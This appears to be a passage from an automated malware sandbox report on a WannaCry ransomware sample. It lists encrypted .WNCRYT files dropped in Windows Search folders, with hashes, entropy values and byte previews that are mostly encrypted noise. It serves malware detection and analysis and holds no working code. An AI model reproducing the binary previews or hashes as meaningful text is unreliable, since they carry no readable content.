                                                                                                                                                                              SHA-512:CEF8E103BE88412A8ABF3733B2BDD338D88B7807F77D36D41236FA2127B8A563D487DA586CF223E929F52DCDFB20E3D20E613C4921790EE93895A41457930938
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....w...V...l....?0..x..w_....X.......M[....-6....W.`.YYvlSSC.,..."..F.7.E../...J..d..[.=...$4....V.;.CJ]..}.IF... ]K.................)...l.!....9h...d.b.....2.e.~.I`1.u......_..G.3.j.~.C..u..8..Bk...^5.\G..2.#..L.p+..M|.69..U.UD+.cz...d...ViK.N.x.....................\.\G: ..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cf92e777-46b8-4fc9-af99-a04f95a19936}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37464
                                                                                                                                                                              Entropy (8bit):7.994796258091946
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:GydXCDhSewnPCioFbzjo5gbboLMze+iVi+HnsNfokWum9VXm4xYWdcQw:XCBwPCDFbzgYbze+iEoksfaQw
                                                                                                                                                                              MD5:85B90752FCE78DBC5CD4FA923EC010A5
                                                                                                                                                                              SHA1:C12F6BFF325CE635FDB04F783B7FFD539D620160
                                                                                                                                                                              SHA-256:F665F94B704126E9961639C4E59976C61489A4AF070D9D8AD50479C260E341D6
                                                                                                                                                                              SHA-512:CFF1B754679FDC3DCBAD6F185370DB85151B61865FF913BBB184B0F40D2ED8C087CA4400101D210B8749294B2D121C01775DCE6F06B4DB5EEA0B13889593BD47
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......../..F..x...)...@e.^..f.....?.p../..<K..f.K....=.M.`85r.wK.'@.O......A.11.1.mv.t?a.y...V.].y.n.{..K.....#....-....9|........?...V\Q.5.2.{.j.t.z..-?w......... .n0....".i.^.'......5.Exx........#....F3rf........c.n....O~i.......*.W...t;.[.,..Q./`........4..........y..>.. .$..D>...R....j._08.....R...6 ...9.~..o..x4.5.0\....=.r....?.w.'#y...m..E'..........Bk.L..\ ...,....yQG.6.x...;..Cn.t(...q .<[&..y.R....E.2..u.!...#.a..-...=.:b...P.........bv.3d.^5#.h....O.......~w..q...V(.y...[..L...;;.._v....b.......o$<.......'....+EBW.......9.`f..(="<.<D.....).F.4..Y..[.....\.Z.....l.z.4g...n..C.O..*4......?.F...j).?.>..`e.E=.w.LH.g....Bx..= .RV.~..g._[m...4...pu.{2yU.g,.......T.X....S}I.>Q......?....%.e..V.....*..i...../...B.G.1..Z>.....Ew..%k...n[.$.{.x...)./..K..y...}...mB.........[...tp...........%.. ..5..J&&O...Di....0.$D..xd....6...m.....-..R...<\].i..:..3.=...._@.&..\f;y}.q...#./.*qz|.s..6`.W.S;Z.......{...[....{..D.4(.T..5..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cf92e777-46b8-4fc9-af99-a04f95a19936}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.1393877731299025
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE9uie/YLwjp7uFJ5nKK9fgZPi/QFNR0XpEwqCFOjf7Q:bkE9uiMd96F7flg0ONOpEPCFejQ
                                                                                                                                                                              MD5:BF0D8CD9CE177290A9D48038B8EC45F0
                                                                                                                                                                              SHA1:41A812B7AEF518164B51B93CB59496AE527F5EEF
                                                                                                                                                                              SHA-256:D29C00174B8172012D7A3DC9ADB365272D395839758D8E71059D768FAC0D18D2
                                                                                                                                                                              SHA-512:92FA7484D93574499AFFD7C6CBF09F6D0D7E94D20D94712EDC2298C17AE026144DD02214474E11F53CC87ECA445B1447610F60D113B6AC8854E556B92C740FF7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....v...dg...+.....D.wG}.X-.q..jv._..G... .+....P.3...u.K......uh.J..0..n@.....m.....|. 8....;[..........*..d...=....x...G"....?...6...}n.k...-.P..H`o3..v...,.S.....:...&..G........VO..hC...^.t.Xo'.....2t..... .M./..F.2.$W...E.N=9g"......F...............'G...-.M.Bta.."

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cf92e777-46b8-4fc9-af99-a04f95a19936}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.184047506065286
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEhqpzdAHiPfkwgS1kxYWCVEZeSiTwGBwJ6IVBE10l/Fhz7:bkEhiz+o940VEZeSiTvV8Nd
                                                                                                                                                                              MD5:022AC0D5B98F77450BE809E930D5B13B
                                                                                                                                                                              SHA1:184508990E18D41BEF68A9EF7D0E5FFE8BAD9BC3
                                                                                                                                                                              SHA-256:42B6A8ED23E4638593A01D2C82CEEB5BFCBA850B963C57CA71A50898878D3927
                                                                                                                                                                              SHA-512:D0D07BB4EBB27593A5647AAFADB34B525CCD80B461F182EDD7AB029B5D6649417B8AF95E8F39EADC940EE9D211C6C32064FAF2FBB46163D165FE5626C809D291
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......g...n.j....1..X.g.\sm.....bN.P...H;*....@.+k|L0.....27..6.o........Y..k_..9..../.^..L.$..}*4Uv.......[<..!......];.l..Nh..V..Q.t.V..\..>..g....aHZ/..w........n.2.a..;..)9gR.P...B$.]?*...U..n...w...9'..H...Z..a.z...yd.]T...Si"m.3...7...`R..............+..6"[...K.Vl.C

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{f7654fd4-7ecd-4743-acf3-b2a165fc8601}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37464
                                                                                                                                                                              Entropy (8bit):7.995130835128701
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:W+xrX3u2Roj6YGu67ivHx5+qaWDz2XmeWc+OL3O6eEqu/nTBG:lrO2RojZnvyqdDz2sNOjOhE9/nQ
                                                                                                                                                                              MD5:A58EAA3B37170E3C1FB6E40BCBB3978D
                                                                                                                                                                              SHA1:E607A3B6DDD01D5D454BC3C13B2FFBCFB32454BE
                                                                                                                                                                              SHA-256:065F5108AEB8571DF566A7EA626FACD09683AE13D0C24EF14A801247972B6247
                                                                                                                                                                              SHA-512:6A2EB8C4BEE57275C69910B0DFA259EA998605892DFED859622076A484802BA95F4ABE93C46E71F25FD8B44C83C62D4AB4DDB1EF4469F4A5B35F67FE9030CFA7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......)0.z..*.....w......zA4........\....\..*..X`..,F..c...{...5..W|........z..uC...Ca................VesD5..z|..`%.p...{,Y..i.LN.*."):.|"U....eUQ-...}.|l..?%.....4^......".=...d..!8Z........3c{=...X.v..RR.t..9..}A=..w<.....*.....|...J.9.........4........D.....'|.w.m.;j..'S..G._b..U_.S...S..i.h.!u......?.i.E....(.t...|..........L...=.N..n.....SC..0.k...f*...._*~$......q......Z..@.+:..G..x...!./.uqp..<%.'..;C..:...-p9...A_....B"Qa....Li.}.n..Wz....}.WP.N.Sd.....Q>]e..u.[....1g0.UT...L.(.....|>BI.......%.2."...1..d..UW..Muh..L.x."......2Y2.....&"...c...=...(U.h...F........_...../....^.*R>...HK9......j...ak2..HJ._U..>MJ.....t..<.P..$.z.p.....!7...6..$..M.?#.A.G......a.~.v7..'E....]"..4'oc....IKF.V.%... h.n+i\..,^.P..8PIdpK....I..U.o.b..3............'....{Q.*.l..j.bv..~.o.?.:....K]...._.g.....v....g..sL|};.PEp..........:..6Q...-k`.y.w......K.dh..<_..G.d.&.b$.J.P..<.J..c..V.....wu.L.G$9..H....A....F....pL-..>.1d.1..9

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{f7654fd4-7ecd-4743-acf3-b2a165fc8601}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.105329972195962
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE1RaoWDcENKlhV0tcY/l2SdGjXR/yUi+Lz56a2UxavSK4wO5nxMK0XAZdxHt4C:bkE1PpPl8t12KGDxLz/9eS5n4KzZPHh
                                                                                                                                                                              MD5:88E2C22A5DA0035FEA9DC89FA30548A9
                                                                                                                                                                              SHA1:36744E4B106EE41FA002CF3C015B47A629C8ECF5
                                                                                                                                                                              SHA-256:EC162586C34B3DD6C1F598B901CD6B45F0D2153E8E63D5AAB84BEAA4B9EF0633
                                                                                                                                                                              SHA-512:62FB818623CA1D44A6C2BA1DDD04C109A6C0522CD2AC2B3294EDAABDAFFD47F1156797F7DE0F785A593B397013AA22E622AF37502D147D3B475B5783D29CA8B3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....R.P.e.cyi........r..7...G)..r.:...I.Uq..O.d.J[.9......I.. kQq.L...W...Z..21.A.E......O+.9.o..].....,...}.....I2V.D..8!;.^..v.,J..i...m.V..M......s.\........L..".3......!...D:)),.LJ.U.....=.]f.U..Ep>R.y..l.C......l...........)..{..YHW.....K...:............. ..KYm(...:]....

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{f7654fd4-7ecd-4743-acf3-b2a165fc8601}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.229351254491694
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEmbX1xZYoAYAWzq9wbaDWRF3YAvwuFmBNT2cGGBchVEz4QTsCMb9l5W:bkEmbFUnRWGJaRnATX4SsCgW
                                                                                                                                                                              MD5:721BD31E9049F32E37761C92A1FEAE2F
                                                                                                                                                                              SHA1:EA32E797763E6BD160622C306C686A8D3886886F
                                                                                                                                                                              SHA-256:C3FC5727516421B57BD7A41AEAAC2372FE19FDB5FAF57A254C88D9F60D25778A
                                                                                                                                                                              SHA-512:973C670FCBDDEEF3761B54D62AF73155478FCE45A24BE059F1ADED83634F0DE5E7CA8545D7611966FCC30E999BF36AF96C8D5DA0228F4725F4CEFBADCB6F6A82
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......u5.8..u.........6'.H9..._...r4.b.lq..p...n.....'..}%%3O...........L....X~u'.Z...AU.....&...R.D..^..G.)1J...d..K...5hR.#8.V.E.m......eM..%../K.Z...+F'.k.h1.v....@.+...$e......+yf'z.n.*...g./..........8.fV.fD.VU..E.....Y_.0....Cc.G..8...Fs...............Zy.v..=......

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1426184
                                                                                                                                                                              Entropy (8bit):7.999878137475947
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:EtX0fzOie/N1t4jFtb0Zj5LeZd9OgR4jpMD/Om7s85TM+qu4O0nCMC:+oqR/GjfbEiQguj+D/3Ti+ahM
                                                                                                                                                                              MD5:04BF4F7BC81B08617FD85C727B249546
                                                                                                                                                                              SHA1:7A57EB525B0ECC47C9C191D28C07AA6AC5E72BC9
                                                                                                                                                                              SHA-256:E52494B159B6FBE003552076B1BF837DE71654EACCBC147EAEBFAF5B0FE34BAD
                                                                                                                                                                              SHA-512:4B569142C5446CF81EA6F4E299A2DA40C3494CE94C2D0D29C77D54616DE3D90D174798943449C04304F9E6AAD18398841B7BAE195CCA361D6567F196249715ED
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......e:x!.....x..Xv......0.\..~.y.Ec......4.|.2P.p.........O!.O..<..Ct....-.m.jLuAB3`.U.}...w..a#+Z|.*.......;V.l.2..G`Y.....>v..@...x.ym.n......lPAg;_i'..E..*.&.....3........&g..s.....-.Ou.q..NL..|.._.".#.....{...l;....c.xY..n.2?4G#....q.7...............x:.P....t.gA..w...T...j...OPe...|.o.9.^.r`3....4.(.%WJ-......Y..[....o.#..C..>o..{>..;..~t\.....^&.... i.....P..b...f.2.Z.Z.a....2..D.f...:6...[h.I.I,.....8.<.f..co.Q...\..K....k(......%l.Y;..6..9....d._.`XyA..F...........f..dE..&1.*'.p$.....(....-)@lU!.....C.0^..k.tYA.r.(`a...$n~...$V0+..1..W.\.g."M....5^IG.:d...r...Z...0].]...P..~>...2...1.!...0.\..L...>.......{.....r...P.S.:,.?....c.U..T....v..\...X.......t.dl..ne...Y*..%X.._..-.9..w."...U).-.Jm*..M..2vR.\kSZ-..|B..KA...h...=..@.....'........}..dGT...X~z. .....z..wh...*.. <.....^Xr.\..'...K9n..@....b-..A...hV.?|......l.ly..i#_eV..^.=........= ..p.<.O..L7..).J5.......:.L.\p$...f..(.VK....X..nD.I..B3.?...V@....8..5...5.[.....

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):352008
                                                                                                                                                                              Entropy (8bit):7.999485527768039
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:nTlR4uqftnldJY3Nzb8OTYmqkJ/b9qgDEM/pGhCElpMKbpO9WsHKOh0Xyd9D:nQrtnbJeNzX/Ii9xPErQ9nHr+wF
                                                                                                                                                                              MD5:757AA464F74C9941801014F05D44DB6F
                                                                                                                                                                              SHA1:314A5E107001085CDED044A997D190A095E3E2E2
                                                                                                                                                                              SHA-256:AD7F6C2D8D1C2BA95D1975E27A01D873CBCE05AE784CE79A8BCB3A8DB1CF6C18
                                                                                                                                                                              SHA-512:1C725875DCA61C11267CABC2C278700DF011ACF7F9BE5D30E26D31EF5A217FACD2BC9963D55ABE17248250DAFBBE0BFD49F81D7FFE763B59536729875CB8128C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......+L...O...E..8....j/L.\.T.w......./.....x6...b.W.V....L.:..(H..n\.......!H;.]..v... ..S.c*y..x.$...9...}_..K.$..3..^b...c....*.....F.T.."?..jg`<%....Z..p....O....Y.5c.....ExE......v...i...zy...H.V.zE..B..:.B..._&.[;o..{.Q.;=c....m..@.W.._^.`d.....]......1....pG. ........j.n.u=p....5....y.jH.<...f....E..d....P'...)..H.)...-..~?#?.0.....u0a..4...K~./k ..w.//.k|S..D#T.O..TaM...52........D/[...7':]t.......%.yw.i..e5..BH..8.9.....o].....<kp..I.e........Z7....p:..o2..5..;x.(`.[?...=4..5.x..M.......;\.o.,{g..# k..Z.pF.....o.sL.|.7..B.vR_:._...V.t..K.."I.<..Vx._T.z.s.."h.X.3..i....8NO...A.F.v.S....|}*.....l.-e..Z.u<.e...I=....5.x6.X...=..G...e.}u../.._0.d@_2...j....=.i.z....8.}... ...h..&Q....O...k....,.-!.o....Q.......Y.f..l4F...E...Mz.}......\.B..3;.i..~.........LO.7.U.j...vr...INr......2.r-....W ...i/..e=.*...,...4m.............@...V...R..N}..n.7..aL..i Q.O&!.}P0no.Y....?.(..`....?..c..Y:_I...).E.......Vlg.(>....MU.(..^._.......7&eT8...

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):243784
                                                                                                                                                                              Entropy (8bit):7.999240297445723
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:/EfErudKsYG1iA+Uvs1JVE2QR7ym2zzN2Ty:2jGMa1JV9QR7yHN2Ty
                                                                                                                                                                              MD5:F957A86AFBB5DAF087604CB5B4E4B053
                                                                                                                                                                              SHA1:54159CE9866F6F1544971496FAA3F4BBBB34672B
                                                                                                                                                                              SHA-256:24E7CBAA4AF12579DD5EE0495DE8F56EBC4702B6BCA82E8409D85EACF452FB04
                                                                                                                                                                              SHA-512:88CE4773C9225E61E7888A4C1CD767C016B4F8AC42FD4BC2C25ADD8250988CEBC84866DE87B767BDA6214449DE95BF509ED3F978D8FA5A0A43BCD4E9F91BC601
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......0.m$....D..?....I../=..l^.....P&..j..w..2....^......lD9j.,.....%../.....0. v..1.C.7.l.r"&<.....C..SY,....eY.......l./. o;.'....0..$.o.c.'...`X...RR...H..ae..#1..!........DH...I.:..Rj..7....+.:.I....B..7._J5..7.%c...>*..b.|........&.4....!.......&........ ..P.~.@.."{.7....N.= .tY.T..}.r.cv.8..,Ug.R.%...Y..FH...6.I....#...S..t.Y..hr.C#(.....B......!_.....'.].P.....2Y...... :.D.....l....rX3...bn.... ....P....d..o...e....Z..I.#{.b..wH..=x.>E..S.5.[psdy...(..Q.4.t_.S.~:p....<.>..7,.~J0..[=...C.pP.m....1...Ef.y..c.\.M!......9./.e..H..W.<v.8...H..-.)...M...D....i}.I*..a&~i....m...Y<.;...o..V.1...X-./.,.E..g$....s..,..qC...f.l,....6....d.,..4..a....*......9U.f.........?.c.h....Z.4j.,+G......R....+.Ev..5..\.SC."..m..%..(.......H..w.....j.~+...'..-...nP....m....Vq.8..>..2.f...5..O.N..V..j+.s...>...Ql.?....a..5.*.....].+.=...7.9.Tf.....<.8.cI.>.y.....B.n.RUF..O.?.....S..J>X2(.K.....y.s.u{.........."..="e..nY......XM...Y.o'. .

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):533032
                                                                                                                                                                              Entropy (8bit):7.999635561321837
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:V7fcDXzcPoxe31HNGeDFvl1+JIL8EfbvBEzk0pI8wQPSJX:hqcU6HxvX+qL8EDZ1Qa
                                                                                                                                                                              MD5:D89FE908210877A952E0F298F4538602
                                                                                                                                                                              SHA1:1A95A7B3C8937240217DAEEEEB9F602C78381EFE
                                                                                                                                                                              SHA-256:F8239F3D30633A506AB681EC0628ACAF0BC3B2781D90D523C704B3BF6325C063
                                                                                                                                                                              SHA-512:FF13B91F02506985016233993CD703FA5B9C3EB500E423731BC0D4CFF65DC66B23A95DB1EC3EAE137E0D801BF788913B763FC7291276CBE6839AB3ABCCCCF755
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Y.......&P...D,'!>...qt..V.DK.ah.......b5%.....C...S0#..^e"...yX7. ...%B.3...Q....Avx~.h...'eL.~.F.M..7.Pc..%.Z[...^.5.s.*A...V...,..r.U..Z.....8bC..?.......7.......J.g.!1..}.vDi.u.7Q..p..K.].w5.@n.....!......1..........)..F.#7.f.3.80?......H.......!...........`...J.B.j."..9[....P.E....8..X.c...H,Z...n.9...D...(X).h+......7&R"#MSkH..;XN1.`......,...a...a..........K.q.8f.i.PE.....!.."^...@.\.....X.....c..k..;VApo9O....Y.sf.jr\..8|.t|.."...\.f.+.Q..{..G.0.....Ek.....A.(VT6#5....h....#..N..-.+./N.......y..@.vm....v>.lA.IQ+......5't..A.zu...w0.\..8..^.aAg...a...{....G|.uG[|2H$....i;.....F....Ocg:f-o......9P....?M...'.ecP..k.f..E.r.....{OI...\....Lb*.phtD..8....D.#A.L......>..H'.\."j51.VE..5....<..yN....0.B52.M...^l$..7.i.O:s,n..1.}.5..#..x.......4...L..v..u`....2.M..L}C8E..1......+...E..\R_....O.`......G.....-...1.~nO......./.c..X...`..V.I{.Zt......$.>.'.(...H...Z...Gp..y7.=..U...=......S...V4.>..cC..3.v)...?..M.:.?...O.,_..Q

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):44792
                                                                                                                                                                              Entropy (8bit):7.996139536623454
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:feA0LmnUqULD2rA2MHKX+R8phBjFIUhzA6ZrnsItaRj7ZtBuyTtvwyyH6:WTmUqUL+9t+R0hBl/sD7ZCWlu6
                                                                                                                                                                              MD5:8058C83ECC830F210FFBDF8E55F0E1EB
                                                                                                                                                                              SHA1:81784B90C7AA7E48F9A4A4EFCE650D76ED1F976A
                                                                                                                                                                              SHA-256:6700DED56DD6BFA4E769D57C1E3B58BE7432F0B96E0872127B4C35D1CD91E937
                                                                                                                                                                              SHA-512:FDA36ADAF3D822C9AA739E87DE5AE828C2FBD8A0E154475310C009DB4780F2DC449BFA765C59D0B66DF2DCB529469049D334D5742B821B7ABBC56C226AF99DB3
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....>;.Z.Oc..P8B5Z.:D......J...yG....Q..?B.T.^.....>l.z.|.B.1.,..pj...+....._..N.6....u....zN...l.......<..._.3......}......-...).I>.]u...I...O.8:....5.<.J9.....j.5.t`.&.k..Gh.Fl.o..UDc%.s.Q..|...5.........4.x.!.z./......`...D..ft1...S.K.%d...........".p4.=|.G|..... =3..DM.m....(<0...[._.x.yL.@1q.............o......D..F.w....._d.E.2..-....KS.8....m0.M...X..%...c0 .......1v.t.. ~-..zk..h..7.YCo...X.i.7..`h1..s)..\k.1/..l".g.V.s.`.G..-.Uv\.....m.z.x.a .dSp...p..C1......K.....?.........c.%..E9.Z.#.N...w..1...F.T..A`.!..x7pTB;..$.,..C..@.d..U...O......#.Ao.nS.w....v<....FN..`...3.KRr.....}...b.xe.<s/..u...).7..6f.'.4...7x....|.!/.=9.......H....[....F._^q.2.Tv7.q..>.R%.]...|......'{*uNd......m.....x..l....f..A...k.. 4.o..PI1..?.....n. ...:....I;.HT@..[..q:p.D^.im..eT..V.,DKz...cX.m;i.K.a...U`.......D...I.x..}.V..|GX..v.H.<.gt.J(U~.y.y..r.e......]F....i..A:.vT..%T.A.tS.}....d.....x.Z.{TF{..:'h...?.\.r..$q..@.-a\z..an...PQ..7...!..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):104008
                                                                                                                                                                              Entropy (8bit):7.998151236613697
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:PKMwibwrBGFkAK5olYFlX0MinpPBnYhkxGTqulzdy:PbwrBGOAK5olYTXjQRxMy
                                                                                                                                                                              MD5:0E4156D86AA0893F0233797108A39D96
                                                                                                                                                                              SHA1:A041E0F85FE0E87BA764EA2086D5352050FCFF99
                                                                                                                                                                              SHA-256:CF0303E98F3C9E038875EBCD6D2710B072F2F78A9F43140DE4EF84D45D13BA98
                                                                                                                                                                              SHA-512:F053E6E3BA6445C20C8931C815EFB953B7FE4E0C86739EC36B345D82CA664A92AC2DB4D674CB2E4E8D62690DFF7BFB84D147FD6B37AFAEE473D80DAF6DB527D0
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....k{..w.upu.^5..fX...]0ma...,.v.....+`..q.....~t\...X..Cd2.P..b.....U....JP.9...=.........c....`....l.d.P...].c..i9.....x......4MsN}......wP.....He.#...lB..gRa.L}~........6.....Z....)....?I..LF.b#..tF..SoF{._.QAH....xf......(.H...'.....U......%........tOk.x[*...Yb!...d.rk.W........2.e.V.bF.+_..H.,+h@;T....J...U..w...f......5.}...C...y...R....Z#...<.s...F:......`./;w.\l.R../.x.....Ma\...k......v...W6Z........,^.J(.nH...|..{8"..).[.sYC.@.q~E~...1..yW.(..k.c,..%*....$=p...2.......]...C\E....!...L...#...x..a..&<.l....0.....O.d..Q7g.3W.b.}.no.j^....$8..)^Q/...J.p......R.....Y]..E..e.ui..Sh.1h.Zo.. ..m+.4.-..M...].y.kr...n..P..i.4.TpXe.8.8..B..M.......u(...jN..E~i.....!<..L2o.R..O.6.,N...p.0.....?.......Ue....6..#...W..#.../..Rq.Lm..0.\..4Y...k.-Y....F.U...`..........~.N....9.....z*..l...L.c@R........E....j.....Vs...`V.K.{.T.+.jd.. ..c....>J~..\.&....?'...w..f..V.....KF.EFW....).L...!.b...(_.B..my...~.{.*......w.qF....=...a1x1..y

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):217800
                                                                                                                                                                              Entropy (8bit):7.999193735180458
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:d9H6IyG8PihndAfpYLcAVo3VBJEz0PWNBp5w6vevQNbgPHy91vu4K8PHqKABbPqk:KpqpEYLcn3bJENveoNEvy91vu98SKA9
                                                                                                                                                                              MD5:B15A1635192CC13D4839A67A26A218B0
                                                                                                                                                                              SHA1:CE3CD8D20C7476F6FF846158C285586D4876AD97
                                                                                                                                                                              SHA-256:6A3BAD267F0F72C900D534B8C611BB3B4094BFCC46F80466DE834B0146C5D3E9
                                                                                                                                                                              SHA-512:B0DBFDAD0374B7377F9A2BD927521503DA7C9D7561EF58A51BDA67C148CF8D2D45BD6B82622CFF3EA053B49DE5EA07CEDB76F5C23BA2C9FC31045816A7668099
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
